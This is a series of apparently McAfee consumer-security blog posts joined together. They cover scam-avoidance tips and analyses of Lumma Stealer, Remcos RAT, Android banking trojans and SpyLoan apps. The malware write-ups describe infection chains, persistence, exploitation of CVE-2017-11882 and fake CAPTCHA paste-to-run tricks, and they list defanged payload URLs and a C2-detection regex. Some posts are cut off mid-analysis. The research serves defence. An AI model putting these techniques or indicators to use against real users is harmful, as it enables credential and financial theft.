Cybercriminals will always try to cash in on a good thing, and football is no exception. Online scammers are ramping up for the big game with all types of schemes designed to rip you off and steal your personal info—but you have several ways you can beat them at their game.
Like shopping holidays, tax season, and even back-to-school time, scammers take advantage of annual events that get people searching for deals and information online. You can include big games and tournaments in that list too.
Specific to this big game, you can count on several types of scams to rear their heads this time of year—ticket scams, merchandise scams, betting scams, and phony sweepstakes as well. They’re all in the mix, and they’re all avoidable. Here, we’ll break them down.
As of two weeks out, tickets for the big game on the official ticketing website were going for $6,000 or so, and that was for the so-called “cheap seats.” Premium seats in the lower bowl 50-yard line, sold by verified resellers, were listed at $20,000 a pop or higher.
While the game tickets are now 100% mobile, that hasn’t prevented scammers from trying to pass off phony tickets as the real deal. They’ll hawk those counterfeits in plenty of places online, sometimes in sites like your friendly neighborhood Craigslist.
So if you’re in the market for tickets, there are certainly a few things to look out for:
If you plan on enjoying the game closer to home, you may be in the market for some merch—a hat, a jersey, a tee, or maybe some new mugs for entertaining when you host the game at your place. With all the hype around the game, out will come scammers who set up bogus online stores. They’ll advertise items for sale but won’t deliver—leaving you a few dollars lighter and the scammers with your payment information, which they can use on their own for identity fraud.
You can shop safely with a few straightforward steps:
This is a great one to start with. Directly typing in the correct address for reputable online stores and retailers is a prime way to avoid scammers online. In the case of retailers that you don’t know much about, the U.S. Better Business Bureau (BBB) asks shoppers to do their research and make sure that retailer has a good reputation. The BBB makes that easier with a listing of retailers you can search simply by typing in their name.
If you feel like doing extra sleuthing, look up the address of the website and see when it was launched. A visit to the Internet Corporation for Assigned Names and Numbers (ICANN) at ICANN.org gives you the option to search a web address and see when it was launched, along with other information about who registered it. While a recently launched site is not an indicator of a scam site alone, sites with limited track records may give you pause if you want to shop there—particularly if there’s a chance it was just propped up by a scammer.
Look for the lock icon in your browser when you shop.
Secure websites begin their address with “https,” not just “http.” That extra “s” in stands for “secure,” which means that it uses a secure protocol for transmitting sensitive info like passwords, credit card numbers, and the like over the internet. It often appears as a little padlock icon in the address bar of your browser, so double-check for that. If you don’t see that it’s secure, it’s best to avoid making purchases on that website.
Credit cards are a good way to go. One reason why is the Fair Credit Billing Act, which offers protection against fraudulent charges on credit cards by giving you the right to dispute charges over $50 for goods and services that were never delivered or otherwise billed incorrectly. Your credit card companies may have their own policies that improve upon the Fair Credit Billing Act as well. Debit cards don’t get the same protection under the Act.
Comprehensive online protection software will defend against the latest virus, malware, spyware, and ransomware attacks plus further protect your privacy and identity. In addition to this, it can also provide strong password protection by generating and automatically storing complex passwords to keep your credentials safer from hackers and crooks who may try to force their way into your accounts. And, specific to the scams floating around this time of year, online protection can help prevent you from clicking links to known or suspected malicious sites.
It’s hard to watch sports these days without odds and stat lines popping up onto the screen, along with a fair share of ads that promote online betting. If you’re thinking about making things interesting with some betting, keep a few things in mind:
As it is every year, you’ll see kinds of sweepstakes and giveaways leading up to the game, plenty of them legitimate. Yet as they do, scammers will try and blend in by rolling out their own bogus promotions. Their aim: to part you from your cash or even your personal information.
A quick way to sniff out these scams is to take a close look at the promotion. For example, if it asks you to provide your bank information to send you your prize money, count on it being a scam. Likewise, if the promotion asks you to pay to claim a prize in some form or other, it’s also likely someone’s trying to scam you.
In all, steer clear of promotions that ask something for something in return, particularly if it’s your money or personal information.
As it is of late, all kinds of scams will try to glom onto the big game this year. And some of the best advice for avoiding them is not to give in to the hype. Scammers prey on scarcity, a sense of urgency, and keyed-up emotions in general. Their hope is that these things may make you less critical and more likely to overlook things that would otherwise seem sketchy or too good to be true. Staying focused as you shop, place a wager, or otherwise look to round out your enjoyment of the big game is some of your absolute best defense against scammers right now, and any time.

We’re excited to announce the release of McAfee’s Personal Data Cleanup, a new feature that finds and removes your personal info from data brokers and people search sites. Now, you can feel more confident by removing personal info from data broker sites and keeping it from being collected, sold, and used to: advertise products to you, fill your email box with spam, and can even give criminals the info they need to steal your identity. Let’s look at why we’re offering McAfee Personal Data Cleanup, how it protects your privacy, and why it’s a great addition to the online protection we already offer.
There’s so much to enjoy when you live a connected life – free email, online stores that remember what you like, social media that connects you to friends and influencers. It’s a world of convenience, opportunity, and incredible content. It’s also a world where your data is constantly collected.
That’s right, companies are collecting your personal data. They’re called data brokers and they make money by selling information that specifically identifies you, like an email address. They sell this information to marketers looking to target you with ads. Criminals can also use it to build profiles in service of stealing your identity and accessing your accounts. This activity takes place behind the scenes and often without consumers’ knowledge. There are also data brokers known as people search sites that compile and sell info like home addresses, emails, phones, court records, employment info, and more. These websites give identity thieves, hackers, stalkers, and other malicious actors easy access to your info. Regardless of how your data is being used, it’s clear that these days a more connected life often comes at the cost of your privacy.
In a recent survey of McAfee customers, we found that 59% have become more protective of their personal data over the past six months. And it’s no wonder. Over the past two years, trends like telehealth, remote working, and increased usage of online shopping and financial services have meant that more of your time is being spent online. Unsurprisingly, more personal data is being made available in the process. This leads us to the most alarming finding of our survey – 95% of consumers whose personal information ends up on data broker sites had it collected without their consent.
We created Personal Data Cleanup to make it easy for you to take back your privacy online. McAfee’s Personal Data Cleanup regularly scans the riskiest data broker sites for info like your home address, date of birth, and names of relatives. After showing where we found your data, you can either remove it yourself or we will work on your behalf to remove it. Here’s how it works:
Ready to take back your personal info online? Personal Data Cleanup is available immediately with most of our online protection plans. If you have an eligible subscription, you can start using this new feature through McAfee Protection Center, or you can get McAfee online protection here.

In 2024, scams in India have continued to evolve, leveraging sophisticated methods and technology to exploit unsuspecting individuals. These fraudulent activities target people across demographics, causing financial losses and emotional distress. This blog highlights some of the most prevalent scams this year, how they operate, some real-world scenarios, tips to stay vigilant and what steps to be taken if you become a victim.
This blog covers the following scams:
Scam Tactics:
Fraudsters on WhatsApp employ deceptive tactics to steal personal information, financial data, or gain unauthorized access to accounts. Common tactics include:
Case 1: In the figure below, a user is being deceived by a message originating from the +244 country code, assigned to Angola. The message offers an unrealistic investment opportunity promising a high return in just four days, which is a common scam tactic. It uses pressure and informal language, along with a link for immediate action.
Case 2: In the figure below, a user is being deceived by a message originating from the +261 country code, assigned to Madagascar. The message claims that you have been hired and asks you to click a link to view the offer or contact the sender which is a scam.
Case 3: In the figure below, a user is being deceived by a message originating from the +91 country code, assigned to India. Scammers may contact you, posing as representatives of a legitimate company, offering a job opportunity. The recruiter offers an unrealistic daily income (INR 2000–8000) for vague tasks like searching keywords, which is suspicious. Despite requests, they fail to provide official company details or an email ID, raising credibility concerns. They also ask for personal information prematurely, a common red flag.
Case 4: In the figure below, a user is being deceived by a message originating from the +84 country code, assigned to Vietnam. The offer to earn money by watching a video for just a few seconds and providing a screenshot is a common tactic used by scammers to exploit individuals. They may use the link to gather personal information, or your action could lead to phishing attempts.
Case 5: In the figure below, a user is being misled by a message originating from the country codes +91, +963, and +27, corresponding to India, Syria, and South Africa, respectively. The message claims to offer a part-time job with a high salary for minimal work, which is a common tactic used by scammers to lure individuals. The use of popular names like “Amazon” and promises of easy money are red flags. The link provided might lead to phishing attempts or data theft. It’s important not to click on any links, share personal details, or respond to such unsolicited offers.
Case 6: The messages encourage you to post fake 5-star reviews for businesses in exchange for a small payment, which is unethical and often illegal. Scammers use such tactics to manipulate online ratings, and the provided links could lead to phishing sites or malware. Avoid engaging with these messages, clicking on the links, or participating in such activities.

Video game hacks, cracked software, and free crypto tools remain popular bait for malware authors. Recently, McAfee Labs uncovered several GitHub repositories offering these tempting “rewards,” but a closer look reveals something more sinister. As the saying goes, if it seems too good to be true, it probably is.
GitHub is often exploited for malware distribution due to its accessibility, trustworthiness, and developer-friendly features. Attackers can easily create free accounts and host repositories that appear legitimate, leveraging GitHub’s reputation to deceive users.
McAfee Labs encountered multiple repositories, offering game hacks for top-selling video games such as Apex Legends, Minecraft, Counter Strike 2.0, Roblox, Valorant,
Fortnite, Call of Duty, GTA V and or offering cracked versions of popular software and services, such as Spotify Premium, FL Studio, Adobe Express, SketchUp Pro, Xbox Game Pass, and Discord to name a few.
These attack chains begin when users would search for Game Hacks, cracked software or tools related to Cryptocurrency on the internet, where they would eventually come across GitHub repositories or YouTube Videos leading to such GitHub repositories, offering such software.
We noticed a network of such repositories where the description of software keeps on changing, but the payload remains the same: a Lumma Stealer variant. Every week, a new set of repositories with a new malware variant is released, as the older repositories are detected and removed by GitHub. These repositories also include distribution licenses and software screenshots to enhance their appearance of legitimacy.
Figure 1: Attack Vector
These repositories also contain instructions on how to download and run the malware and ask the user to disable Windows Defender or any AV software, before downloading the malware. They provide the reasoning that, since the software is related to game hacks or by-passing software authentication or crypto-currency mining, AV products will detect and delete these applications.
This social engineering technique, combined with the trustworthiness of GitHub works well in the favor of malware authors, enabling them to infect more users.
Children are frequently targeted by such scams, as malware authors exploit their interest in game hacks by highlighting potential features and benefits, making it easier to infect more systems.
As discussed above, the users would come across malicious repositories through searching the internet (highlighted in red).
Figure 2: Internet Search showing GitHub results.
Or through YouTube videos, that contain a link to the repository in the description (highlighted in red).
Figure 3: YouTube Video containing malicious URL in description.
Once the user accesses the GitHub repository, it contains a Distribution license and other supporting files, to trick the user into thinking that the repository is genuine and credible.
Figure 4: GitHub repository containing Distribution license.
Repositories also contain a detailed description of the software and installation process further manipulating the user.
Figure 5: Download instructions present in the repository.
Sometimes, the repositories contain instructions to disable AV products, misleading users to infect themselves with the malware.
Figure 6: Instructions to disable Windows Defender.
To target more children, repositories contain a detailed description of the software; by highlighting all the features included within the package, such as Aimbots and Speed Hacks, and how easily they will be able to gain an advantage over their opponents.
They even mention that the package comes with advance Anti-Ban system, so their account won’t be suspended, and that the software has a popular community, to create a perception that, since multiple users are already using this software, it must be safe to use and that, by not using the software, they are missing out.
Figure 7: Features mentioned in the GitHub repository.
The downloaded files, in most cases, were Lumma Stealer variants, but observing the latest repositories, we noticed new malware variants were also being distributed through the same infection vector.
Once the user downloads the file, they get the following set of files.
Figure 8: Files downloaded from GitHub repository.
On running the ‘Loader.exe’ file, as instructed, it iterates through the system and the registry keys to collect sensitive information.
Figure 9: Loader.exe checking for Login credentials for Chrome.
It searches for crypto wallets and password related files. It searches for a list of browsers installed and iterates through user data, to gather anything useful.
Figure 10: Loader.exe checking for Browsers installed on the system.
Then the malware connects to C2 servers to transfer data.
Figure 11: Loader.exe connecting to C2 servers to transfer data.
This behavior is similar to the Lumma Stealer variants we have seen earlier.
McAfee blocks this infection chain at multiple stages:
Figure 12: McAfee blocking URLs
Figure 13: McAfee blocking the malicious file
In conclusion, the GitHub repository infection chain demonstrates how cybercriminals exploit accessibility and trustworthiness of popular websites such as GitHub, to distribute malware like Lumma Stealer. By leveraging the user’s desire to use game hacks, to be better at a certain video game or obtain licensed software for free, they trick users into infecting themselves.
At McAfee Labs, we are committed to helping organizations protect themselves against sophisticated cyber threats, such as the GitHub repository technique. Here are our recommended mitigations and remediations:

As smartphones have become an integral part of our daily lives, malicious apps have grown increasingly deceptive and sophisticated. Recently, we uncovered a seemingly harmless app called “BMI CalculationVsn” on the Amazon App Store, which is secretly stealing the package name of installed apps and incoming SMS messages under the guise of a simple health tool. McAfee reported the discovered app to Amazon, which took prompt action, and the app is no longer available on Amazon Appstore.
Figure 1. Application published on Amazon Appstore
On the surface, this app appears to be a basic tool, providing a single page where users can input their weight and height to calculate their BMI. Its interface looks entirely consistent with a standard health application. However, behind this innocent appearance lies a range of malicious activities.
Figure 2. Application MainActivity
Upon further investigation, we discovered that this app engages in the following harmful behaviors:
Figure 3. Screen Recorder Service Code
When the recording starts, the permission request dialog will be displayed.
Figure 4. Start Recording Request.
Figure 5. Upload User Data
According to our analysis of historical samples, this malicious app is still under development and testing stage and has not reached a completed state. By searching for related samples on VirusTotal based on the malware’s package name (com.zeeee.recordingappz) revealed its development history. We can see that this malware was first developed in October 2024 and originally developed as a screen recording app, but midway through the app’s icon was changed to the BMI calculator, and the payload to steal SMS messages was added in the latest version.
Figure 6. The Timeline of Application Development
The address of the Firebase Installation API used by this app uses the character “testmlwr” which indicates that this app is still in the testing phase.
According to the detailed information about this app product on the Amazon page, the developer’s name is: “PT. Visionet Data Internasional”. The malware author tricked users by abusing the names of an enterprise IT management service provider in Indonesia to distribute this malware on Amazon Appstore. This fact suggests that the malware author may be someone with knowledge of Indonesia.
Figure 7. Developer Information
To avoid falling victim to such malicious apps, we recommend the following precautions:
As cybercrime continues to evolve, it is crucial to remain vigilant in protecting our digital lives. Apps like “BMI CalculationVsn” serve as a stark reminder that even the simplest tools can harbor hidden threats. By staying alert and adopting robust security measures, we can safeguard our privacy and data.

Over the years, cyber threats targeting Android devices have become more sophisticated and persistent. Recently, McAfee Mobile Research Team discovered a new Android banking trojan targeting Indian users. This malware disguises itself as essential services, such as utility (e.g., gas or electricity) or banking apps, to get sensitive information from users. These types of services are vital for daily life, making it easier to lure users. We have previously observed malware that masquerades as utility services in Japan. As seen in such cases, utility-related messages, such as warnings that gas service will disconnect soon unless the bill is checked, can cause significant alarm and prompt immediate action from the users.
We have identified that this malware has infected 419 devices, intercepted 4,918 SMS messages, and stolen 623 entries of card or bank-related personal information. Given the active malware campaigns, these numbers are expected to rise. McAfee Mobile Security already detects this threat as Android/Banker. For more information, visit McAfee Mobile Security
As of 2024, India is the country with the highest number of monthly active WhatsApp users. This makes it a prime target for phishing attacks. We’ve previously introduced another Banker distributed via WhatsApp. Similarly, we suspect that the sample we recently found also uses messaging platforms to reach individual users and trick them into installing a malicious APK. If a user installs this APK, it will allow attackers to steal the victim’s financial data, thereby accomplishing their malicious goal.
Figure 1. Scammer messages reaching users via Whatsapp (source: reddit)
The malware we first identified was pretending to be an app that allowed users to pay their gas bills. It used the logo of PayRup, a digital payment platform for public service fees in India, to make it look more trustworthy to users.
Figure 2. Malware disguised as gas bills digital payment app
Once the app is launched and the permissions, which are designed to steal personal data such as SMS messages, are granted, it asks the user for financial information, such as card details or bank account information. Since this malware pretends to be an app for paying bills, users are likely to input this information to complete their payments. On the bank page, you can see major Indian banks like SBI and Axis Bank listed as options.
Figure 3. Malware that requires financial data
If the user inputs their financial information and tries to make a payment, the data is sent to the command and control (C2) server. Meanwhile, the app displays a payment failure message to the user.
Figure 4. Payment failure message displayed but data sent to C2 server
One thing to note about this app is that it can’t be launched directly by the user through the launcher. For an Android app to appear in the launcher, it needs to have “android.intent.category.LAUNCHER” defined within an <intent-filter> in the AndroidManifest.xml. However, since this app doesn’t have that attribute, its icon doesn’t appear. Consequently, after being installed and launched from a phishing message, users may not immediately realize the app is still installed on their device, even if they close it after seeing messages like “Bank Server is Down”, effectively keeping it hidden.
Figure 5. AndroidManifest.xml for the sample
In previous reports, we’ve introduced various C2 servers used by malware. However, this malware stands out due to its unique use of Supabase, an open-source database service. Supabase is an open-source backend-as-a-service, similar to Firebase, that provides PostgreSQL-based database, authentication, real-time features, and storage. It helps developers quickly build applications without managing backend infrastructure. Also, it supports RESTful APIs to manage their database. This malware exploits these APIs to store stolen data.
Figure 6. App code using Supabase
A JWT (JSON Web Token) is required to utilize Supabase through its RESTful APIs. Interestingly, the JWT token is exposed in plain text within the malware’s code. This provided us with a unique opportunity to further investigate the extent of the data breach. By leveraging this token, we were able to access the Supabase instance used by the malware and gain valuable insights into the scale and nature of the data exfiltration.
Figure 7. JWT token exposed in plaintext
During our investigation, we discovered a total of 5,558 records stored in the database. The first of these records was dated October 9, 2024. As previously mentioned, these records include 4,918 SMS messages and 623 entries of card information (number, expiration date, CVV) and bank information (account numbers, login credentials like ID and password).
Figure 8. Examples of stolen data
The initial sample we found had the package name “gs_5.customer”. Through investigation of their database, we identified 8 unique package prefixes. These prefixes provide critical clues about the potential scam themes associated with each package. By examining the package names, we can infer specific characteristics and likely focus areas of the various scam operations.

| ax_17.customer | Axis Bank |
| gs_5.customer | Gas Bills |
| elect_5.customer | Electrical Bills |
| icici_47.customer | ICICI Bank |
| jk_2.customer | J&K Bank |
| kt_3.customer | Karnataka Bank |
| pnb_5.customer | Punjab National Bank |
| ur_18.customer | Uttar Pradesh Co-Operative Bank |
Based on the package names, it seems that once a scam theme is selected, at least 2 different variants are developed within that theme. This variability not only complicates detection efforts but also increases the potential reach and impact of their scam campaigns.
Based on the information uncovered so far, we found that the malware actor has developed and is actively using an app to manage the C2 infrastructure directly from a device. This app can send commands to forward SMS messages from the victim’s active phones to specified numbers. This capability differentiates it from previous malware, which typically manages C2 servers via web interfaces. The app stores various configuration settings through Firebase. Notably, it utilizes Firebase “Realtime Database” rather than Firestore, likely due to its simplicity for basic data retrieval and storage.
Figure 9. C2 management mobile application
Based on our research, we have confirmed that 419 unique devices have already been infected. However, considering the continual development and distribution of new variants, we anticipate that this number will steadily increase. This trend underscores the persistent and evolving nature of this threat, emphasizing the need for careful observation and flexible security strategies.
As mentioned at the beginning of the report, many scams originate from messaging platforms like WhatsApp. Therefore, it’s crucial to remain cautious when receiving messages from unknown or uncertain sources. Additionally, given the clear emergence of various variants, we recommend using security software that can quickly respond to new threats. Furthermore, by employing McAfee Mobile Security, you can bolster your defense against such sophisticated threats.

The post A New Android Banking Trojan Masquerades as Utility and Banking Apps in India appeared first on McAfee Blog.
Authored By Sakshi Jaiswal, Anuradha M
In Q3 2024, McAfee Labs identified a sharp rise in the Remcos RAT threat. It has emerged as a significant threat in the world of cybersecurity, gaining traction with its ability to infiltrate systems and compromise sensitive data. This malware, often delivered through phishing emails and malicious attachments, allows cybercriminals to remotely control infected machines, making it a powerful tool for espionage, data theft, and system manipulation. As cyberattacks become more sophisticated, understanding the mechanisms behind RemcosRAT and adopting effective security measures are crucial to protecting your systems from this growing threat. This blog presents a technical analysis of two RemcosRAT variants
The heat map below illustrates the prevalence of Remcos in the field in Q3,2024
In the first variant of Remcos, executing a VBS file triggers a highly obfuscated PowerShell script that downloads multiple files from a command-and-control (C2) server. These files are then executed, ultimately leading to their injection into RegAsm.exe, a legitimate Microsoft .NET executable.
Infection Chain
Executing the VBS file initially triggers a Long-Obfuscated PowerShell command.
It uses multi-layer obfuscation, and after de-obfuscation, below is the final readable content.
The de-obfuscated PowerShell script performs the following actions:
DLL01.txt File
The snippet above is encoded, after decoding it, we are left with the ClassLibrary3.dll file.
Rumpe.txt String
Figure 11: Snippet which is hosted on PasteCode.io of Rumpe.txt
The snippet above is encoded, Decoding it generates ClassLibrary1.dll file.
Entry.txt
The LocalLow folder is a directory in Windows used to store application data that requires low user permissions. It is located within the AppData folder. The two paths below show how the malware is using a very similar path to this legitimate windows path.
legitimate Path: C:\Users\<YourUsername>\AppData\LocalLow
Mislead Path: C:\Users\<YourUsername>\AppData\Local\Microsoft\LocalLow
In this case, a LocalLow folder has been created inside the Microsoft directory to mislead users into believing it is a legitimate path for LocalLow.
A screenshot of the files dropped into the System Update folder within the misleading LocalLow directory highlights the tactic used to mimic legitimate Windows directories, intending to evade user suspicion.
Content of x3.txt
Then x2.ps1 is executed. Content of x2.ps1
The command adds a new registry entry in the Run key of the Windows Registry under HKCU (HKEY_CURRENT_USER). This entry ensures that a PowerShell script (yrnwr.ps1) located in the System Update folder inside the misleading LocalLow directory is executed at every user login.
After adding registry entry, it executes yrnwr.ps1 file. Content of yrnwr.ps1 which is obfuscated.
After Decoding yrnwr.ps1
It utilizes a process injection technique to inject the final Remcos payload into the memory of RegAsm.exe, a legitimate Microsoft .NET executable.
Memory String of RegAsm.exe which shows the traces of Remcos
Mutex Created
A log file is stored in the %ProgramData% directory, where a folder named “1210” is created. Inside this folder, a file called logs.dat is generated to capture and store all system logging activities.
Finally, it deletes the original VBS sample from the system.
This variant of Remcos comes from Office Open XML Document. The docx file comes from a spam email as an attachment.
Infection Chain:
Email Spam:
The email displayed in the above image contains an attachment in the form of a .docx file, which is an Office Open XML document.
From the static analysis of .docx file, it is found that the malicious content was present in the relationship file “setting.xml.rels”. Below is the content of settings.xml.rels file:
From the above content,it is evident that it downloads a file from an external resource which points to a URL hxxps://dealc.me/NLizza.
The downloaded file is an RTF document named “seethenewthingswhichgivenmebackwithentirethingstobegetbackonlinewithentirethingsbackwithentirethinsgwhichgivenmenewthingsback_______greatthingstobe.doc”which has an unusually long filename.
The RTF file is crafted to include CVE-2017-11882 Equation Editor vulnerability which is a remote code execution vulnerability that allows an attacker to execute arbitrary code on a victim’s machine by embedding malicious objects in documents.
Upon execution, the RTF file downloads a VBS script from the URL “hxxp://91.134.96.177/70/picturewithmegetbacktouse.tIF” to the %appdata% directory, saving it as “picturewithmegetbacktouse.vbs”.
Below is the content of VBS file:
The VBScript is highly obfuscated, employing multiple layers of string concatenation to construct a command. It then executes that command using WScript.Shell.3ad868c612a6
Below is the de-obfuscated code:
The above code shows that the VBS file launches PowerShell using Base64 encoded strings as the command.
Below is the 1st PowerShell command line:

The post The Stealthy Stalker: Remcos RAT appeared first on McAfee Blog.

The McAfee mobile research team recently identified a significant global increase of SpyLoan, also known as predatory loan apps, on Android. These PUP (potentially unwanted programs) applications use social engineering tactics to trick users into providing sensitive information and granting extra mobile app permissions, which can lead to extortion, harassment, and financial loss.
During our investigation of this threat, we identified fifteen apps with a combined total of over eight million installations. This group of loan apps share a common framework to encrypt and exfiltrate data from a victim’s device to a command and control (C2) server using a similar HTTP endpoint infrastructure. They operate localized in targeted territories, mainly in South America, Southern Asia, and Africa, with some of them being promoted through deceptive advertising on social media.
McAfee is a member of the App Defense Alliance focused on protecting users by preventing threats from reaching their devices and improving app quality across the ecosystem. We reported the apps discovered to Google who have notified the developers that their apps violate Google Play policies and fixes are needed to come into compliance. Some apps were suspended from Google Play while others were updated by the developers.
McAfee Mobile Security detects all of these apps as Android/PUP.SpyLoan due to our PUP policy since even after some apps have updated to reduce the permissions requirements and the harvesting of sensitive information they still pose a risk for the user’s privacy due to the potential unethical practices that can be conducted by the operators of these apps that are not licensed or registered with the authorities that regulate financial services in each jurisdiction where they operate.
Since 2020, SpyLoan has become a consistent presence in the mobile threat landscape. However, our telemetry indicates a rapid surge in their activity recently. From the end of Q2 to the end of Q3 2024, the number of malicious SpyLoan apps and unique infected devices has increased by over 75%.
SpyLoan apps are intrusive financial applications that lure users with promises of quick and flexible loans, often featuring low rates and minimal requirements. While these apps may seem to offer genuine value, the reality is that these apps primarily exist to collect as much personal information as possible, which they then may exploit to harass and extort users into paying predatory interest rates. They employ questionable tactics, such as deceptive marketing that highlights time-limited offers and countdowns, creating a false sense of urgency to pressure users into making hasty decisions. Ultimately, rather than providing genuine financial assistance, these apps can lead users into a cycle of debt and privacy violations.
While the specific behavior may vary by country, these apps share common characteristics and code at app and infrastructure level:
“High amount of loan” Add on Facebook for app “Presta Facil: Revision Rapida” which translate to “Easy Loan: Fast Approval” detailing interest rates, amount, period, etc for a loan in Colombian pesos.
SpyLoan apps are consistent with this onboarding process. Then navigation bar and app actions are very similar with different graphics but have the same features in their respective localized languages.
Both apps have in common a framework that shares the user interface, user’s flow and encryption libraries with techniques for communication with C2 infrastructure, while the operators have different locations, language and target countries.
Common permissions on SpyLoan applications can be:
Depending on the implementation and distribution method they can include more sensitive permissions.
Phone Validation via SMS OTP: To complete the registration a phone number with the country code of the target country is required to validate the user’s phone is on the territory, receiving an one time password (OTP) to proceed to the registration via text message.
Data Collection: Users are prompted to provide sensitive legal identification documents and personal information, banking accounts, employee information among with device data that is exfiltrated from the victim’s device.
Back to 2023 in Chile media reported the suicide of a victim of fake loans after the harassment and threats to her friends and family and to her integrity.
The group of SpyLoan applications reported in this blog belongs to the family identified by McAfee as Android/SpyLoan.DE that transmits the collected information encrypted to the command and control (C2) using AES (Advanced encryption standard) with 128bits keys then base64 encoding and optionally adds a hardcoded padding over https.
Encryption key and initialization vector (IV) are hardcoded into the obfuscated application code.
SpyLoan uses this same encryption routine to hide sensitive strings on resources.xml that leads to data exfiltration, for example:
This string is used to construct a content URI that allows access to SMS Messages that it’s implemented to extract fields like, date, address (sender/recipient), message body, status, etc., and formats into JSON that then will be encrypted again to be sent to the C2.
Figure 6: Code section that exfiltrates all SMS messages from Victim’s device
Exfiltrated data is posted into the C2 via HTTP post inside an encrypted JSON object. The URLs of the endpoints used to collect sensitive data shares the URL structure between different SpyLoan applications. They use the same URLs scheme that can be detected by this regex:
^https:\/\/[a-z0-9.-]+\/[a-z]{2,}-gp\/[a-z0-9]+\/[a-z0-9]+$
Some examples of C2 URLs that match this scheme:
Using the same technique and obfuscation methods SpyLoan samples hide in his code the ability to exfiltrate larges amount of sensitive data from their victims, including:
Other miscellaneous information collected:
Data from sensors such as accelerometers, gyroscopes, magnetometers if available on the affected device. This information includes:
Sensor data can be used for device fingerprinting and user’s behavioral monitoring.
Users have reported alarming experiences, such as:
Typical comments on fake loan apps:
For example, “Préstamo Seguro-Rápido, Seguro” had many fake positive reviews on Google Play while a few consistent users reviews that alleged abuse of the collected data, extorsion and harassment.
| October 18, 2024
I do not recommend this app. They start calling and threatening you with edited photos and posting them on social media, even sending them to your contacts, a day before. Even when it’s not the due date. Not recommended at all! Pure fraud and extortion. |
| September 25, 2024
Horrible app, they don’t show you how much interest they will charge, which is a lot, and before the payment date arrives, they start threatening your contacts and even send you personal messages with threats and foul language, threatening to extort your family. |
Meanwhile other apps receive similar negative comments:
These threats are not confined to a single region; they’ve been reported globally with localized adaptations. Predatory loan apps activities have been identified worldwide not limited to the variants technically described in this post, the following incidents can provide a wider context of the impact of this threat:
Ranking of top 10 countries with highest prevalence of Fake Loans apps according to McAfee telemetry Q3 2024:
According to a report by the Judiciary of Peru, authorities conducted a major raid on a call center engaged in extortion and the operation of fake loan apps targeting individuals in Peru, Mexico, and Chile.
The police reported that over 300 individuals were linked to this criminal operation, which had defrauded at least 7,000 victims across multiple countries.
The call center employees were trained specifically to extort victims. Using information collected from the SpyLoan apps, they threatened users to extract as much money as possible by imposing inflated interest rates and additional fees.
Meanwhile in Chile, the commission for commission for the financial market (CMF) highlights in their website tens of fraudulent credit applications that has been distributed on Google Play, also the national consumer service (SERNAC) reports more cases.
In May 2024, the Chilean police has detained over 25 people linked to one Fake Loans operations that scammed over 2,000 victims according to La Tercera.
Despite the efforts the activity of these malware applications continues and increases in South America and the rest of the world.
The threat of Android apps like SpyLoan is a global issue that exploits users’ trust and financial desperation. These apps leverage social engineering to bypass technical security measures and inflict significant harm on individuals. Despite law enforcement actions to capture multiple groups linked to the operation of SpyLoan apps, new operators and cybercriminals continue to exploit these fraud activities, especially in South America, Southeast Asia and Africa.
SpyLoan apps operate with similar code at app and C2 level across different continents this suggest the presence of a common developer or a shared framework that is being sold to cybercriminals. This modular approach allows these developers to quickly distribute malicious apps tailored to various markets, exploiting local vulnerabilities while maintaining a consistent model for scamming users.
By reusing code and tactics, they can efficiently target different countries, often evading detection by authorities and creating a widespread problem that is difficult to combat. This networked approach not only increases the scale of the threat but also complicates efforts to trace and shut down these operations, as they can easily adapt and relocate their operations to new regions.
By understanding how these malicious apps operate and taking proactive steps to protect ourselves, we can mitigate the risks and help others do the same.

At last, it connects to the steam community
The malware extracts the Steam account name, initially obfuscated to evade detection, and decodes it to reveal the C2 domain. This step is essential for establishing a connection between the compromised device and the attacker’s server, allowing further malicious activity such as data exfiltration and additional payload delivery. By using this technique, the attackers effectively bypass basic detection mechanisms, making it harder for traditional security solutions to identify the communication with the C2 server.
The Lumma Stealer is a stark reminder of the ever-evolving nature of cyber threats and the rapid adaptability of malware tactics. Its spread through Telegram channels demonstrates how easily threat actors can exploit popular platforms to distribute malicious code to a broad audience. With Lumma Stealer capable of stealing sensitive information and compromising user privacy, the potential damage it can cause is significant.
In this increasingly dangerous cyber landscape, having robust, up-to-date protection has never been more crucial. McAfee’s advanced threat detection and proactive defense mechanisms provide users with a vital safeguard against such threats. By combining real-time monitoring, behavioral analysis, and continuous updates to counter new TTPs, McAfee helps users stay one step ahead of malicious actors. As TTPs evolve rapidly, maintaining comprehensive antivirus protection is essential to safeguarding personal data, financial information, and privacy. Staying vigilant and equipped with the proper security solutions ensures that users are prepared to face the latest threats head-on.

The post Lumma Stealer on the Rise: How Telegram Channels Are Fueling Malware Proliferation appeared first on McAfee Blog.
Authored by Yashvi Shah and Aayush Tyagi
McAfee Labs recently observed an infection chain where fake CAPTCHA pages are being leveraged to distribute malware, specifically Lumma Stealer. We are observing a campaign targeting multiple countries. Below is a map showing the geolocation of devices accessing fake CAPTCHA URLs, highlighting the global distribution of the attack.
Figure 1: Prevalence on the field
We identified two infection vectors leading users to these fake CAPTCHA pages: one via cracked game download URLs, and the other through phishing emails. GitHub users have been targeted by phishing emails prompting them to address a fictitious “security vulnerability” in a project repository to which they have contributed or subscribed. These emails direct users to visit “github-scanner[.]com” for further information about the alleged security issue.
The ClickFix infection chain operates by deceiving users into clicking on buttons like “Verify you are a human” or “I am not a robot.” Once clicked, a malicious script is copied to the user’s clipboard. Users are then misled into pasting the script after pressing the Windows key + R, unknowingly executing the malware. This method of trickery facilitates the infection process, making it easy for attackers to deploy malware.
Figure 2: Infection chain
As illustrated in the diagram, users are redirected to fake CAPTCHA pages through two main attack vectors:
Users attempting to download pirated or cracked versions of gaming software are redirected to malicious CAPTCHA pages.
Figure 3: Search to download the cracked version of the game
When users search the Internet for free or cracked versions of popular video games, they may encounter online forums, community posts, or public repositories that redirect them to malicious links.
Figure 4: Runkit directing the user to download the game
In this instance, a public Runkit notebook hosts the malicious link (highlighted in blue). When the user accesses the URL (highlighted in red), they are redirected to fake CAPTCHA websites.
Figure 5: Redirection happening while accessing the link
On this page, after the user clicks the “I’m not a robot” button, a malicious PowerShell script is copied to their clipboard, and they are prompted to execute it.
Figure 6: Backend script on the click button
The website includes JavaScript functionality that copies the script to the clipboard.
Figure 7: Decoded script
The script is Base64-encoded (highlighted in blue), to reduce the readability to the user. Upon decoding it (highlighted in red), mshta was found to be leveraged. The file hosted at https://verif.dlvideosfre[.]click/2ndhsoru contains a Windows binary, having scripts appended as the overlay. Without the overlay appended, the file is a clean Windows binary.
Figure 8: Windows binary with appended script
